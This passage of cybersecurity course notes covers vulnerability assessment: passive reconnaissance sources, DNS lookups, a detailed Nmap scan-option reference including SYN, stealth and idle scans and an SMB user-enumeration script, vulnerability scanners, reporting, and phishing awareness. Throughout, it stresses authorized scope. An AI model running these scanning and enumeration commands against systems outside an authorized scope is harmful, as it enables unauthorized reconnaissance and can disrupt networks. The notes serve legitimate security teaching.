- Use tools only in authorized scope. Reachability does not equal permission.
- Lab: Kali tester + Metasploitable 2 Linux target + Metasploitable 3 Windows target in VirtualBox. Isolate vulnerable VMs.
- VirtualBox mode changes exposure. Host-only and Internal are the key isolation-oriented modes; Bridged creates broad local-network exposure.
- Keep Kali updated; keep intentionally vulnerable targets outdated as designed; verify pwd and ip a when orienting yourself in the lab.

9.2a Correction: VirtualBox NAT row

Correction: The NAT row above lists VM to Host = No. That is inaccurate. In NAT mode a VM *can* reach the host (via 10.0.2.2); it is inbound Host to VM that is blocked unless port forwarding is configured.

Mode	VM->Host	Host->VM	VM<->VM	VM->Net	Net->VM
NAT (corrected)	Yes (via 10.0.2.2)	Port-forward only	No	Yes	Port-forward only

VM IP: assigned by VirtualBox DHCP, first adapter 10.0.2.0/24. Default gateway = 10.0.2.2 (NAT engine). DNS = 10.0.2.3 (built-in). Outbound internet works; inbound needs port forwarding. Regular NAT has NO promiscuous-mode capture and NO VM-to-VM; use NAT Network for VM-to-VM.

CYBERSECURITY

Chapter 02: Vulnerability Assessment

Technical knowledge notes

Reconnaissance, network discovery, Nmap, vulnerability scanners, validation, reporting, phishing, and Metasploit context

Authorized use only: Reconnaissance and scanning may disclose information, trigger security controls, degrade a system, or affect network availability. Run active tools only against systems and networks that are explicitly in scope. Prefer an isolated lab when learning.

Technical accuracy note: Several legacy Nmap spellings and shorthand notations are included for recognition. Modern Nmap option names are used where applicable, with historical aliases clearly marked.

Contents

Knowledge map

Area	What must be understood
Assessment purpose	A vulnerability assessment discovers and investigates weaknesses in an authorized scope. It is evidence-driven and supports a broader security strategy; it is not a guarantee that a system is secure.
Reconnaissance	Passive collection uses public or volunteered information. Active collection sends queries or probes to the target environment. The distinction matters because active steps can be detected and can affect availability.
Network mapping	Discover live hosts, ports, services, versions, operating systems, and network structure. Interpret results cautiously: an exposed port is not automatically a vulnerability.
Vulnerability scanning	Automated scanners correlate observations with vulnerability tests and knowledge bases. Their output must be validated, prioritized in context, remediated, and retested.
Human attack path	Phishing abuses trust to collect sensitive information or deliver malware. Social engineering findings belong in a complete exposure assessment.

1. Purpose and scope of vulnerability assessment

1.1 What a security assessment is

A security assessment examines a running system to determine how well it resists misuse, attack, or failure. The assessment is authorized and scoped. It is a controlled attempt to gather evidence about weaknesses rather than a promise of perfect security.

Core limitation: Passing an assessment does not prove that no vulnerabilities exist. The assessment is constrained by scope, time, available credentials, tool coverage, system state, tester knowledge, and the possibility of undiscovered weaknesses.

Testing complements secure design, threat modeling, patch management, monitoring, and incident response. A secure development and deployment process does not end when a scanner produces a report.

1.2 Vulnerability assessment, penetration testing, and threat modeling

Activity	Primary question	Typical actions	Main output
Vulnerability assessment	What hosts, services, configurations, and known weaknesses are present?	Inventory, passive and active reconnaissance, port and service discovery, version identification, automated scans, manual verification, severity and exposure analysis.	A prioritized list of validated findings with evidence and remediation guidance.
Penetration testing	Can selected weaknesses be combined or exploited to demonstrate realistic impact?	Permission and rules of engagement, reconnaissance, modeling the target, vulnerability analysis, carefully controlled proof of concept, and reporting.	An impact-focused report showing attack paths, evidence, and recommendations.
Threat modeling	What can go wrong in the design or architecture, and how should risk be addressed?	Define assets and boundaries, identify threats, reason about misuse cases, prioritize controls, and validate the design.	A structured model of threats, assumptions, mitigations, and residual risk.

The activities overlap. Vulnerability assessment is often an early and recurring part of a penetration-testing workflow. Threat modeling informs scope and helps explain why a finding matters. Exploitation is not required to establish that a vulnerability assessment finding deserves remediation.

1.3 Authorized assessment workflow

Step	Purpose	Practical questions
1. Permission and scope	Establish legal and operational authority before any active work.	Which IP ranges, domains, accounts, applications, dates, techniques, and environments are allowed? What is explicitly excluded? Who is the escalation contact?
2. Information gathering	Collect general information and map the target environment.	What public information exists? Which hosts are live? Which ports and services are visible? Which versions and operating systems appear to be present?
3. Threat modeling	Relate the scope to assets, boundaries, assumptions, and likely attack paths.	Which systems are critical? Which trust boundaries matter? Which attack paths should receive attention?
4. Vulnerability analysis	Connect observations to possible weaknesses.	Does the version match a known CVE? Is the service misconfigured? Is exposure unnecessary? Is the evidence reliable?
5. Controlled proof of concept	Demonstrate impact only when explicitly permitted and necessary.	Can the issue be confirmed without harming data, disrupting service, or moving beyond scope?
6. Reporting and remediation	Communicate evidence, impact, priority, and fixes.	What should be changed? Who owns the fix? How will the fix be verified?

1.4 Collect first, then investigate

Collection target	Why it matters	Examples of follow-up
IP addresses and ranges	Define reachable assets and target boundaries.	Check ownership, reverse DNS, network blocks, exposed services, and whether the address is actually in scope.
Personal and organizational information	Can reveal roles, contact paths, technology use, and social-engineering exposure.	Handle carefully. Confirm whether collection is necessary and permitted. Avoid unnecessary storage of personal data.
DNS and registration records	Reveal domain-to-IP mappings, nameservers, mail systems, registrars, and sometimes contact information.	Use whois, host, and nslookup; compare historical and current information.
Public-domain information	May expose historical endpoints, forgotten services, documentation, technologies, and operational clues.	Review current websites, archived pages, public discussions, job advertisements, and internet-exposure indexes.

Investigation turns raw collection into questions: Which hosts are up? Which ports are open? Which services are running? What versions and operating systems are indicated? What is the network structure? What public information changes the risk analysis?

2. Reconnaissance and passive information gathering

2.1 Passive versus active reconnaissance

Dimension	Passive reconnaissance	Active reconnaissance
Basic idea	Gather information without directly probing the target network or system.	Send queries, packets, or application requests to obtain information from the target environment.
Typical sources or tools	Websites, public resources, discussion boards, chat rooms, job advertisements, archive.org, Netcraft site reports, and Shodan search results.	whois, DNS queries, NetDiscover, Nmap, Nessus, GVM/OpenVAS, Burp Suite, and OWASP ZAP.
Information obtained	Volunteered or already indexed information: domains, technologies, public endpoints, historical URLs, organizational context, and exposed-service banners indexed by third parties.	Live host status, port states, services, versions, operating-system clues, application behavior, and scanner findings.
Operational effect	Usually lower interaction with the target, but not automatically risk-free or ethically unrestricted.	More detectable and potentially disruptive. Requires explicit scope, rate control, and operational care.

Important distinction: Passive does not mean harmless, anonymous, complete, or automatically authorized. Public data can be outdated, misleading, sensitive, or unnecessary to collect. Active does not mean malicious, but it does mean the tester is interacting with the target environment.

2.2 Passive-source examples and what they reveal

Source	Potentially useful evidence	How to interpret it
Organization website	Domains, contact information, products, subdomains, documentation, login portals, partner services, and technology clues.	Treat website content as an initial map, not a complete asset inventory.
Discussion boards and chat rooms	Operational problems, configuration details, employee questions, and technology names.	Information may be inaccurate or stale. Avoid collecting personal data that is not necessary.
Job advertisements	Programming languages, platforms, cloud services, security products, infrastructure skills, hiring patterns, and possible onboarding pressure.	Technology clues guide research but do not prove that a specific vulnerable version is deployed.
Historical web archives	Removed pages, old URLs, previous subdomains, obsolete portals, downloadable files, and historical site structure.	A removed endpoint may still exist, may redirect, or may be gone. Historical discovery does not authorize testing.
Internet exposure search engines	Indexed banners, ports, protocols, certificates, and geographic or organizational metadata for internet-visible services.	Third-party observations are snapshots. Validate in scope before concluding that a service is currently exposed or vulnerable.

2.3 Netcraft site reports

Netcraft research tools can be used during passive reconnaissance to identify infrastructure and technologies associated with a website. The interfaces show a research-tools landing page and a site report for sdu.dk.

Site-report field or feature	Meaning for reconnaissance
Background information	High-level website context such as first-seen date, language, rank, or descriptive metadata.
Network information	Domain, hosting company, network-block owner, hosting country, IPv4 or IPv6 information, autonomous-system information, and reverse-DNS clues.
DNS information	Nameserver, registrar, nameserver organization, DNS administrator information when public, top-level domain, and DNSSEC indication.
Technology and infrastructure clues	Useful for building a hypothesis about externally visible components. A technology clue must still be validated before it is treated as a finding.

2.4 Internet Archive and the Wayback Machine

The Internet Archive Wayback Machine stores historical snapshots of web pages. Useful evidence includes a search interface, MIME-type statistics, captures over time, a site-map visualization, and a URL list. These are useful because security-relevant paths can survive in archives even after they disappear from current navigation.

Archive view	What it can reveal	Assessment use
Timeline of captures	When pages appeared, changed, or disappeared.	Compare historical and current exposure; identify old portals or migration periods.
URL list	Captured paths, files, query strings, and naming conventions.	Discover forgotten endpoints, documentation, downloads, and likely application areas for later authorized validation.
Site map	Relationships between captured pages and sections of a site.	Understand application structure and prioritize high-value areas.
MIME-type statistics	Types of captured content such as HTML, images, PDF documents, scripts, and stylesheets.	Locate downloadable documents or client-side files that may disclose technical or organizational details.

2.5 Shodan and indexed internet exposure

Shodan indexes information about internet-connected systems and services. The example searches for FTP exposure in Denmark using the filter expression port:21 country:dk. The results page shows a result count, cities, organizations, host addresses, locations, service banners, and certificate information.

Observed item	What it means	Caution
Port filter	Restricts indexed results to services observed on a particular port, such as port 21 for FTP.	A port number suggests a likely protocol but does not prove the exact service or its security state.
Country or organization filter	Narrows results using indexed metadata.	Geolocation and organization attribution can be incomplete or inaccurate.
Banner	Text or protocol data returned by an exposed service, sometimes including a product name, version, configuration clue, or authentication policy.	A banner may be stale, intentionally modified, or insufficient to establish vulnerability.

Observed item	What it means	Caution
TLS certificate information	Certificate subject, issuer, names, and other metadata.	Certificates can reveal naming patterns or endpoints but do not prove ownership of every related system.

Public index is not permission: A search-engine result may reveal that a service is exposed to the internet. It does not authorize login attempts, exploitation, brute force, or active scanning of the listed system.

3. Interpreting exposed services and vulnerability evidence

3.1 An open port is not automatically a vulnerability

A port is a numbered communication endpoint. An open port indicates that some process is listening or that the network path allows a response consistent with a listening service. Exposure is evidence to investigate, not a verdict.

Situation	Interpretation
Port 22 is open on a managed server	This may be an intentional SSH administration service. It is not automatically a security problem.
The SSH service is outdated	A known vulnerability may apply depending on the exact product, version, build, configuration, and reachability.
Password authentication is exposed to an untrusted network without appropriate controls	Risk may arise from unnecessary exposure, weak policy, missing rate limiting, poor monitoring, or credential attacks.
The port is open but the service is unknown	Perform service identification, version detection, banner review, and manual validation before reporting a vulnerability.

3.2 Evidence chain for a suspected vulnerable service

1. Confirm that the asset is in scope and that the observation is current.
2. Identify the protocol, product, version, configuration, and network exposure as precisely as possible.
3. Research applicable weakness information, including CVE entries, vendor advisories, vulnerability scanner checks, and controlled proof-of-concept references where appropriate.
4. Determine whether prerequisites apply: authentication, configuration, platform, feature enablement, reachable path, user interaction, or privilege level.
5. Validate the finding safely. Prefer a low-impact confirmation method and retain evidence.
6. Report impact, likelihood, affected assets, remediation, and the method used to verify the fix.

3.3 Useful repositories and concepts

Item	Purpose	Do not confuse it with
CVE identifier	A standardized identifier for a publicly disclosed vulnerability instance.	A guarantee that a particular host is affected. Applicability must be validated.
Exploit Database or proof-of-concept reference	Evidence that a technique or demonstration exists for some condition.	Permission to run code against a system or proof that exploitation will work in the assessed environment.
Scanner plugin or vulnerability test	Automated logic that looks for evidence of a weakness.	A final human-validated finding. Plugins can produce false positives or miss conditions.
CVSS score	A standardized severity score for the technical characteristics of a vulnerability.	The complete business-risk decision. Asset value, exposure, compensating controls, and operational impact still matter.

4. Active discovery: DNS, NetDiscover, and EtherApe

4.1 WHOIS and DNS lookup commands

Registration records and DNS answers help map domains, addresses, and infrastructure. They are not identical sources: registration data concerns ownership or administrative records, while DNS answers describe name-resolution data.

Command / option	Meaning	Operational note
`whois example.com`	Query domain-registration information.	May show registrar, dates, nameservers, and contact data. Privacy-proxy services may hide personal details.
`whois 192.168.0.1`	Query registration information for an IP address or network block.	Private RFC 1918 addresses are not publicly routed; use public addresses for meaningful registry data.

Command / option	Meaning	Operational note
`host example.com`	Perform a concise DNS lookup.	Useful for hostname-to-address and address-to-name checks.
`nslookup example.com`	Query DNS interactively or from the command line.	Useful for checking mappings and selected DNS record types.

Registry privacy: A privacy or proxy service can reduce the amount of personal registration data visible to the public. Absence of public contact data does not mean that no authoritative registration record exists.

4.2 NetDiscover for local-network host discovery

NetDiscover is used on a local network to discover hosts, IP addresses, and MAC addresses, commonly through ARP-based discovery. The example scans the 192.168.1.0/24 network.

Command / option	Meaning	Operational note
`netdiscover -r 192.168.1.0/24 -f`	Scan the specified local range using fast mode.	-r selects the address range. -f uses a reduced fast-mode set of addresses rather than probing every address in the range.
`192.168.1.0/24`	CIDR notation for a network range.	A /24 fixes the first 24 bits and represents 256 IPv4 addresses, normally from.0 through.255.

Availability risk: Discovery tools can produce enough traffic to disrupt fragile systems or networks. Rate, timing, network sensitivity, and scope must be considered before scanning.

4.3 EtherApe for graphical traffic observation

EtherApe is a packet-sniffing and network-traffic monitoring tool. It displays communication graphically, uses color coding for protocols, supports filtering, and can replay captured traffic from a file. The available options include link-layer, IP, and TCP display modes and support for multiple network-device types, including Ethernet and WLAN.

Capability	Why it helps an assessor
Graphical traffic display	Makes communication relationships and high-volume flows visible.
Protocol color coding	Helps distinguish traffic categories during observation.
Link-layer, IP, and TCP views	Allows analysis at different levels of the communication stack.
Replay from capture file	Supports offline review without repeatedly touching a live network.
Filtering	Reduces noise and focuses analysis on hosts, services, or protocols of interest.

5. Nmap network mapping and scan interpretation

5.1 What Nmap is used for

Nmap, the Network Mapper, is a free and open-source tool used for network discovery, network inventory, administration, and security auditing. It can craft or send network probes, find active hosts, identify open ports, infer services and versions, attempt operating-system detection, and extend its behavior through scripts. Nmap can support vulnerability assessment, but its raw output still requires interpretation.

Mental model: Nmap answers layered questions: Is the host reachable? Which transport ports respond? What service appears to be listening? Which version and operating-system clues exist? What do those observations imply about exposure and possible vulnerabilities?

5.2 Host discovery and port scanning are separate stages

Host discovery reduces a target range to addresses that appear active. Port scanning then investigates communication endpoints on those targets. Disabling one stage changes both scan coverage and traffic volume.

Stage	Question	Key modern options	Interpretation
Host discovery	Which IP addresses appear to be active?	-sn for discovery only; -Pn to skip discovery and treat every target as up; -PE, -PS, -PA, -PU for selected probe types.	A silent host is not necessarily offline. Firewalls may filter probes or replies.

Stage	Question	Key modern options	Interpretation
Port scan	Which TCP, UDP, SCTP, or IP-protocol endpoints produce meaningful responses?	-sS, -sT, -sF, -sN, -sX, -sU, -sY, -sO, and others.	The state depends on scan type and observed response. Interpret open, closed, filtered, and combined states carefully.
Service and version detection	What application appears to be listening?	-sV.	A service fingerprint is stronger than a port-number assumption, but it can still be incomplete or misleading.
OS detection	What operating system does the network behavior suggest?	-O.	The result is an inference based on fingerprints, not an infallible inventory record.

5.3 Host-discovery options

Command / option	Meaning	Operational note
`nmap -sn <target>`	Run host discovery without a port scan.	Previously called -sP in older Nmap releases. Useful for a ping sweep or lightweight inventory.
`nmap -Pn <target>`	Skip host discovery and proceed as though targets are online.	Useful when probes are filtered, but can dramatically increase work. It is not a stealth switch.
`nmap -PE <target>`	Use ICMP echo-request discovery.	Efficient on many internal networks, but ICMP echo may be filtered.
`nmap -PS443 <target>`	Use a TCP SYN discovery probe to the selected port.	A SYN/ACK or RST can demonstrate that the host is responsive.
`nmap -PA80 <target>`	Use a TCP ACK discovery probe to the selected port.	Can reveal a host when a stateless rule treats ACK traffic differently from unsolicited SYN traffic.
`nmap -PU40125 <target>`	Use a UDP discovery probe.	A closed UDP port may return ICMP port unreachable, demonstrating that a host exists.
`nmap -sL <target>`	List target addresses without sending port-scan probes.	Useful for checking target expansion and reverse-DNS names before touching the environment.

On a local Ethernet network, Nmap normally prefers ARP discovery for IPv4 targets because it is fast and effective. Discovery behavior depends on privileges, target location, and selected options.

5.4 Port states: interpret the output, not only the port number

State	Meaning	Typical reasoning
open	An application is actively accepting connections or datagrams on the port.	Investigate the service, version, configuration, exposure, and business need.
closed	The host is reachable, but no application is listening on that port.	Useful evidence that the host exists and that the network path is responsive.
filtered	Nmap cannot determine whether the port is open because filtering prevents a conclusive response.	A firewall, packet filter, or network condition may be blocking probes or replies.
unfiltered	The port is reachable, but the scan type does not determine whether it is open or closed.	Commonly associated with ACK scanning, which is useful for mapping filtering behavior.
open|filtered	Nmap cannot distinguish between an open port and a filtered port.	Common with UDP and FIN/NULL/Xmas-style scans when silence is ambiguous.
closed|filtered	Nmap cannot determine whether the port is closed or filtered.	Can occur with particular scan types such as idle scanning.

5.5 TCP connect scan and service-version detection

A TCP connect scan uses the operating system connect call to complete a normal TCP connection. It is reliable but easy to detect because the target receives a full connection attempt. Nmap uses this approach when a SYN scan is not available, such as when raw-packet privileges are missing.

Command / option	Meaning	Operational note
`nmap -sT <target>`	Perform a TCP connect scan.	Completes the TCP handshake. Reliable and visible in logs.
`nmap -sV <target>`	Probe discovered ports to identify services and versions.	Version detection is not itself a scan type replacement; it enriches port-scan results.

5.6 TCP SYN scan: the half-open scan

A TCP SYN scan sends a SYN packet as though it intends to start a connection, then interprets the reply without completing a normal application session. A SYN/ACK suggests that the port is open; an RST suggests that it is closed; repeated silence or selected ICMP errors suggest filtering. Because a full connection is not established, this is often called a half-open scan.

Command / option	Meaning	Operational note
`sudo nmap -sS <target>`	Perform a TCP SYN scan.	Requires raw-packet capability on typical Unix-like systems. Faster and less application-visible than a connect scan, but still detectable by IDS, firewall logs, and packet monitoring.

5.7 TCP FIN, NULL, and Xmas scans

FIN, NULL, and Xmas scans use unusual TCP flag combinations. Under the relevant TCP behavior, a closed port returns RST, while an open port often remains silent. Silence is therefore ambiguous: the port may be open or traffic may be filtered. These techniques can sometimes pass through simple non-stateful filters, but modern defenses can still detect them, and some operating systems do not respond in the expected way.

Command / option	Meaning	Operational note
`sudo nmap -sF <target>`	Send TCP FIN probes.	Closed ports commonly reply with RST; silence is often reported as open|filtered.
`sudo nmap -sN <target>`	Send TCP probes with no TCP flags set.	Known as a NULL scan. Interpret silence cautiously.
`sudo nmap -sX <target>`	Send TCP probes with FIN, PSH, and URG flags set.	Known as an Xmas scan because multiple flags are lit.

5.8 UDP and additional scan types

Option	Purpose	Key interpretation point
-sU	UDP port scan.	UDP is connectionless. A returned UDP response may indicate open; ICMP port unreachable indicates closed; silence often becomes open| filtered.
-sO	IP protocol scan.	Tests which IP protocols are supported rather than scanning TCP or UDP port numbers.
-sA	TCP ACK scan.	Helps map firewall rules. It normally distinguishes filtered from unfiltered rather than open from closed.
-sW	TCP Window scan.	Related to ACK scanning but uses TCP window behavior on some systems to infer additional state.
-sY	SCTP INIT scan.	Scans SCTP endpoints. This is a port-scan technique, not the generic host-scan option suggested by an abbreviated option table.
-sI	Idle scan.	An advanced indirect scan technique that uses a suitable idle host. Use requires careful authorization and understanding.
-sR	Legacy RPC scan notation.	Treat as historical. Modern Nmap service detection uses -sV and includes RPC-related probing where appropriate.

5.9 Port selection, output, verbosity, and timing

Command / option	Meaning	Operational note
`nmap <target>`	Scan Nmap default port selection.	By default, Nmap scans the most common 1000 ports for each scanned protocol.
`nmap -p 22,80,443 <target>`	Scan selected ports.	Useful when scope or hypothesis is specific.
`nmap -p 1-1024 <target>`	Scan a port range.	Ranges trade time and coverage.
`nmap -p- <target>`	Scan all numbered ports from 1 through 65535.	More complete but slower and more intrusive than a default scan.
`nmap -p 0 <target>`	Explicitly scan port 0.	Port 0 is unusual and is not included merely by using -p-.
`nmap -oN scan.txt <target>`	Write normal output.	Readable text suitable for review and evidence retention.

Command / option	Meaning	Operational note
`nmap -oX scan.xml <target>`	Write XML output.	Preferred when another tool or script will parse results.
`nmap -oG scan.gnmap <target>`	Write grepable output.	Still encountered, but officially deprecated in favor of more capable XML output.
`nmap -oA baseline <target>`	Write normal, XML, and grepable outputs together.	Creates baseline.nmap, baseline.xml, and baseline.gnmap.
`nmap -v <target>`	Increase verbosity.	Shows more scan-progress information and reports open ports as they are discovered.
`-T0... -T5`	Select a timing template.	From very slow and cautious to aggressive. Faster timing can increase network load and reduce reliability on unstable paths.

5.10 Nmap Scripting Engine (NSE)

The Nmap Scripting Engine extends Nmap with scripted modules. Scripts can automate tasks such as discovery, enumeration, version checks, and vulnerability-oriented checks. This uses SMB user enumeration on port 445 as an example. Script selection matters: a script can be more intrusive than a basic scan.

Command / option	Meaning	Operational note
`ls /usr/share/nmap/scripts`	List locally installed NSE scripts on a typical Linux installation.	The list is large; select scripts based on scope and purpose.
`nmap --script-help smb-enum-users`	Display help for the named script.	Read the description and requirements before execution.
`nmap --script smb-enum-users -p 445 <authorized-target>`	Run an SMB user-enumeration script against the specified target and port.	Use only when the assessment scope explicitly permits enumeration.

5.11 Operating-system detection and scan interpretation exercise

Command / option	Meaning	Operational note
`sudo nmap -O <target>`	Attempt operating-system detection.	Uses network-stack fingerprinting. Treat output as an inference.
`nmap -A <target>`	Enable an advanced feature bundle.	Includes OS detection, version detection, script scanning, and traceroute. -A does not mean the same thing as timing template -T4 or -T5.

Interpret the following command:

Scan riddle: nmap -sS -sV -A -p- <IP> -v -oN scan-results.txt

Part	Meaning
-sS	Use a TCP SYN scan.
-sV	Attempt service and version detection.
-A	Enable OS detection, version detection, script scanning, and traceroute. Some overlap with -sV is intentional but redundant.
-p-	Scan TCP ports 1 through 65535 rather than only the default selection.
<IP>	Target address. It must be explicitly authorized.
-v	Increase verbosity during the scan.
-oN scan-results.txt	Store normal human-readable output in scan-results.txt.

5.12 Legacy spellings and modern equivalents

Some option tables mix current options with historical aliases. Understand the concept and recognize the notation. For current practice, prefer the modern form below.

Historical or legacy notation	Modern form or clarification	Meaning
-sP	-sn	Host discovery only; do not perform a port scan.
-P0 or -PN; sometimes written ambiguously as -Po	-Pn	Skip host discovery and treat all selected targets as online. The letter n is lower-case in -Pn.
-PI	-PE	ICMP echo-request host discovery.

Historical or legacy notation	Modern form or clarification	Meaning
-PT	Use -PS for TCP SYN ping or -PA for TCP ACK ping, depending on intent.	TCP-based host-discovery notation has changed across Nmap versions.
-PB	Use explicit current discovery probes such as -PE, -PS, and -PA when needed.	Historical default-ping shorthand.
-Px	Not a literal modern option; treat as a generic placeholder for -P* host-discovery probes.	This is shorthand for multiple discovery techniques.
-sY in host-scan column	-sY specifically means SCTP INIT scan.	It is not a generic option for scanning open ports.
-sR	Historical / legacy RPC-scan notation.	Use current -sV service detection for modern practice.

Operational rule: Before running an unfamiliar option, read nmap -h, man nmap, and the official Nmap reference. A copied cheat sheet can be incomplete or outdated.

6. Automated scanners and web-assessment tools

6.1 What automation can and cannot do

Automated tools can accelerate discovery by running repeatable checks, correlating observations with vulnerability knowledge, and presenting findings by severity. They do not replace scoping, manual validation, asset context, or remediation ownership.

Scanner limitation	Why it matters
False positive	The scanner reports a weakness that does not actually apply. Manual validation prevents wasted remediation effort and inaccurate reporting.
False negative	The scanner misses a real weakness because the condition is unsupported, hidden, intermittent, authenticated, or outside the scanner logic.
Coverage gap	A network scanner, web scanner, configuration audit, and human review observe different parts of the system.
Context gap	Technical severity alone does not determine business risk. Exposure, data sensitivity, criticality, and compensating controls matter.
Operational impact	Some checks can load, modify, or destabilize a target. Scan policies and rate settings must match the environment.

6.2 OWASP vulnerability-scanning tool list

OWASP maintains a reference list of commercial and open-source web-application vulnerability scanning tools with different capabilities. A list is useful for tool selection, but it is not a guarantee that one product covers every weakness or that every listed tool is appropriate for a particular scope.

6.3 Legion assessment automation

Legion automates parts of assessment workflow through a user interface, Python scripts, and integrated external tools. The interface shows host entry, optional DNS resolution, IPv6 selection, scan modes, staged Nmap scanning, timing controls, port-scan choices, host-discovery choices, and custom arguments.

Use automation as an organizer: An orchestration tool can save time and improve repeatability, but the tester must still understand what each underlying command does, how much traffic it generates, and whether it is permitted.

6.4 Burp Suite and OWASP ZAP for web applications

Burp Suite and OWASP ZAP are web-application assessment tools. Burp screenshots show a site map or passive crawl, proxy traffic, HTTP history, an intercepted request, and a request inspector. A proxy-based workflow places the tool between a browser and the authorized target so the tester can inspect requests and responses and, when permitted, modify requests before forwarding them.

Capability	Assessment value
Passive crawl or site map	Build a structured view of visited application paths and observed resources.
HTTP history	Review requests and responses after browsing the application.
Intercept	Pause an HTTP request or response to inspect it before continuing.
Modify and forward	Test how an application behaves when a permitted request parameter, header, cookie, or body value changes.
Drop	Prevent a selected intercepted request from reaching the target.

Web-testing caution: Automated active web scans may submit forms and generate many requests. Never run them against a production application without explicit approval, suitable test data, and an agreed operational window.

6.5 Greenbone Vulnerability Management and OpenVAS

This includes OpenVAS by Greenbone, also referred to in the Greenbone Vulnerability Management ecosystem as GVM. It automates vulnerability assessment through vulnerability tests and a web interface. The interfaces show dashboards, scan tasks, severity-class summaries, CVE creation-time charts, Network Vulnerability Test (NVT) severity classes, and lists of vulnerabilities with CVSS-oriented severity information.

GVM concept	Meaning
OpenVAS Scanner	The scanning engine that executes vulnerability tests against targets.
Greenbone Security Assistant web interface	The browser-based interface used to control scans and view vulnerability information.
Vulnerability test / NVT	A test definition that checks for evidence related to a weakness or exposure.
Task	A configured scan job against selected targets.
Severity and CVSS views	Ways to summarize technical severity and prioritize review. They do not replace asset-context analysis.

6.6 Nessus and authenticated scanning

Nessus reports vulnerability descriptions and remediation guidance. Important point: authenticated scanning: supplying valid credentials allows the scanner to inspect the target from a more informed internal perspective and detect conditions that an external unauthenticated scan may not see.

Scan perspective	What it can observe	Strength and limitation
Unauthenticated scan	Externally visible services and remotely detectable behavior.	Models an external perspective. It can miss patch, package, and configuration information that is not remotely visible.
Authenticated or credentialed scan	Local package versions, configuration details, and other checks available after authorized login.	Usually broader and more accurate for internal exposures, but credential handling, least privilege, and secure storage are critical.

Scanner findings typically include a description, plugin evidence or output, severity information, affected host, and solution or remediation guidance. Retesting is required to verify that remediation succeeded.

6.7 Tool-selection summary

Tool	Primary use	Best interpretation
Netcraft	Passive website and infrastructure intelligence.	Build hypotheses about externally visible website infrastructure.
Internet Archive Wayback Machine	Historical web snapshots, URLs, and structure.	Find historical exposure and forgotten paths for later authorized validation.
Shodan	Indexed internet exposure, service banners, and metadata.	Observe third-party evidence of internet-visible services.
whois, host, nslookup	Registration and DNS mapping.	Map domain, address, and infrastructure clues.
NetDiscover	Local-network host discovery.	Identify local IP and MAC addresses carefully.
EtherApe	Graphical traffic observation.	Visualize communication relationships and protocols.
Nmap	Host discovery, port scanning, service detection, OS inference, NSE scripts, and output capture.	Map the network and create evidence for deeper analysis.
Legion	Assessment automation and orchestration.	Coordinate external tools without replacing technical understanding.
Burp Suite / OWASP ZAP	Web application proxying, crawling, and authorized web-security testing.	Inspect application behavior at the HTTP layer.
GVM/OpenVAS and Nessus	Automated vulnerability assessment.	Generate candidate findings that require validation, prioritization, remediation, and retesting.

7. Validate, prioritize, remediate, and report findings

7.1 Treat scanner output as a hypothesis

A high-quality vulnerability assessment does not paste scanner output into a report and stop. Each important finding should be checked against current asset state and supported with evidence. Validation should be as low-impact as possible.

Validation question	Why it matters
Is the host and service still present?	Passive indexes, caches, and earlier scans may be stale.
Does the detected product and version match reality?	Banner data and fingerprints may be incomplete, misleading, or affected by proxies.
Do vulnerability prerequisites apply?	Operating system, feature enablement, configuration, authentication, privilege, and reachable attack path can change applicability.
Can the issue be confirmed safely?	Use a benign check or controlled scanner plugin before considering any proof of concept.
What is the evidence?	Record host, port, protocol, service, version, timestamps, scanner evidence, manual confirmation, and relevant logs or screenshots.
What is the actual risk?	Combine technical severity with asset value, exposure, data sensitivity, likelihood, and existing controls.

7.2 Severity, risk, and prioritization

CVSS-oriented severity helps sort technical findings, but prioritization must also consider context. A medium-severity weakness on an internet-facing identity service may deserve faster action than a high-severity issue on an isolated, decommissioning laboratory host.

Factor	Examples of questions
Exposure	Is the asset internet-facing, internal, isolated, or behind compensating controls?
Asset criticality	Does the service support identity, payments, operations, safety, or sensitive data?
Exploitability	Are prerequisites simple? Is authentication required? Is a reliable technique publicly known?
Impact	Could exploitation affect confidentiality, integrity, availability, or business operations?
Prevalence	Is the weakness present on one host or repeated across a fleet?
Detectability and monitoring	Would attempted abuse be detected quickly? Are logs and alerts meaningful?
Remediation cost and safety	Can the fix be deployed safely? Does it require downtime, testing, or compensating controls?

7.3 Report structure

Report element	What to include
Executive summary	Scope, overall exposure, major risks, limitations, and the most important actions in clear language.
Scope and methodology	Authorized targets, excluded assets, dates, credentials used, tools, scan types, rate assumptions, and validation approach.
Finding title and identifier	A concise name, internal ID, and any relevant CVE, CWE, plugin, or advisory reference.
Affected assets	Hostnames, IP addresses, ports, protocols, application paths, versions, and environments.
Evidence	Observed output, screenshots, timestamps, reproduction steps, and the safest confirmation performed.
Impact and priority	What could happen, under which conditions, and why remediation priority is appropriate.
Remediation	Patch, upgrade, disable, restrict exposure, change configuration, add monitoring, or implement another control.
Retest status	How the fix was verified, whether the weakness remains, and whether residual risk is accepted.

7.4 Remediation and retesting loop

7. Assign a finding owner and an agreed remediation deadline based on risk.
8. Apply the corrective change: patch, upgrade, configuration hardening, exposure reduction, removal of an unnecessary service, or compensating control.
9. Retest the specific condition using an authorized low-impact method.
10. Confirm that the vulnerability is no longer detected and that the service still operates as intended.

11. Update the report, ticket, and asset baseline. Continue periodic assessment because systems and vulnerability knowledge change over time.

8. Phishing as a human attack path

8.1 Definition and goal

Phishing is an attempt to trick a victim into disclosing sensitive information or taking an unsafe action. The attacker may seek account credentials, banking details, personal information, or malware execution. The collected information can be used to impersonate the victim or gain unauthorized access.

Term	Meaning	Example
Phishing	A deceptive message or interaction intended to obtain information or trigger an unsafe action.	A message directs the recipient to a fake login page that imitates a legitimate service.
Spear phishing	Phishing targeted at a particular person, role, team, or organization.	A message uses organizational context or a trusted-looking identity to appear more credible.
Spam	Unsolicited bulk messages.	Marketing or nuisance messages sent widely. Spam may carry phishing content, but the terms are not interchangeable.

8.2 Common mechanisms

- **Fake website:** the message links to a page that mimics a bank, university, cloud service, or other legitimate site and asks the user to enter information.
- **Malware delivery:** the message tricks the user into opening a malicious attachment, installing software, or following a link that initiates an unsafe download.
- **Trust and context abuse:** the message borrows authority, familiarity, urgency, opportunity, or fear to reduce careful verification.

The example is a conference-invitation style email received at a university. The visual lesson is that an apparently professional message, a recognizable institutional context, a link, and an Accept button can create enough credibility to encourage an unsafe click.

8.3 Defensive checks

Check	Reason
Verify the real sender and reply path	Displayed names can be misleading.
Inspect the actual destination before following a link	Visible link text and button labels can conceal a different destination.
Treat unexpected login prompts, invitations, and urgent requests cautiously	Social-engineering pressure is designed to bypass normal verification.
Use independent navigation	Open the known service directly rather than signing in through an unexpected message.
Report suspicious messages	Reporting enables investigation, blocking, and warning other users.
